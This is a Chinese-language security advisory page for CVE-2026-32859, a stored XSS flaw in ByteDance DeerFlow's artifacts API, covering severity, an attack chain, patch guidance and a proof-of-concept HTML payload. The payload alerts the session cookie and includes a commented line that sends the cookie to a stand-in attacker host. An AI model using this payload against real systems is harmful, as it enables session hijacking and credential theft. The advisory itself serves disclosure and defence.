IPBUF安全漏洞报告
English
CVE-2026-32859 CVSS 5.4 中危

CVE-2026-32859 ByteDance DeerFlow 存储型XSS漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-32859
漏洞类型
存储型跨站脚本
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ByteDance DeerFlow

相关标签

XSS存储型XSSByteDanceDeerFlowWeb安全CWE-79

漏洞概述

ByteDance DeerFlow 在特定版本之前的 artifacts API 中存在存储型跨站脚本(XSS)漏洞。由于未对上传的工件内容进行严格的过滤和转义,攻击者能够上传包含恶意 HTML 或 JavaScript 代码的文件。一旦授权用户查看这些被污染的工件,恶意脚本将在其浏览器中自动执行,进而导致会话被劫持、敏感凭证被盗等安全风险。

技术细节

该漏洞的根源在于 ByteDance DeerFlow 的工件(artifacts)处理模块未实施足够的安全渲染机制。系统在接收用户上传的文件时,未进行严格的 MIME 类型校验和内容清洗,且在 Web 界面回显时直接嵌入了原始的 HTML 内容。攻击者可以构造包含恶意 JavaScript 代码的 HTML 文件,通过低权限账户将其作为工件上传。当管理员或其他高权限用户查看该工件页面时,浏览器会解析其中的恶意脚本。由于是存储型漏洞,攻击载荷持久化存储于数据库或文件系统中。这种利用方式不仅限于窃取 Cookie,还可结合 CSRF 进一步提升权限,甚至利用浏览器漏洞攻击内网服务。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取 ByteDance DeerFlow 的低权限用户账户(PR:L)。
STEP 2
步骤2:构造恶意载荷
攻击者编写包含恶意 JavaScript 代码的 HTML 文件。
STEP 3
步骤3:上传恶意工件
攻击者利用 artifacts API 将恶意 HTML 文件作为工件上传并存储在服务器上。
STEP 4
步骤4:诱导访问
攻击者诱导管理员或具有高权限的用户访问并查看该上传的工件页面(UI:R)。
STEP 5
步骤5:执行攻击
受害者的浏览器在渲染工件时执行恶意脚本,导致 Cookie 被窃取或会话被接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC: Stored XSS via Malicious Artifact Upload Description: Upload this HTML content as an artifact via the API. Impact: Executes JavaScript when a user views the artifact. --> <html> <body> <h1>DeerFlow Artifact PoC</h1> <script> // Demonstrate script execution in the victim's browser context console.log('XSS Triggered'); alert('DeerFlow Stored XSS: ' + document.cookie); // Example: Exfiltrate session data to an external server // fetch('https://attacker-controlled-server.com/steal?data=' + encodeURIComponent(document.cookie)); </script> </body> </html>

影响范围

ByteDance DeerFlow < commit 5dbb362

防御指南

临时缓解措施
建议立即将 ByteDance DeerFlow 更新至修复该漏洞的提交版本(commit 5dbb362)。如果无法立即更新,应暂时禁用对 artifacts API 的公开访问,或在网关层面拦截包含 HTML 标签的文件上传,同时提醒用户不要轻易查看来源不明的工件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表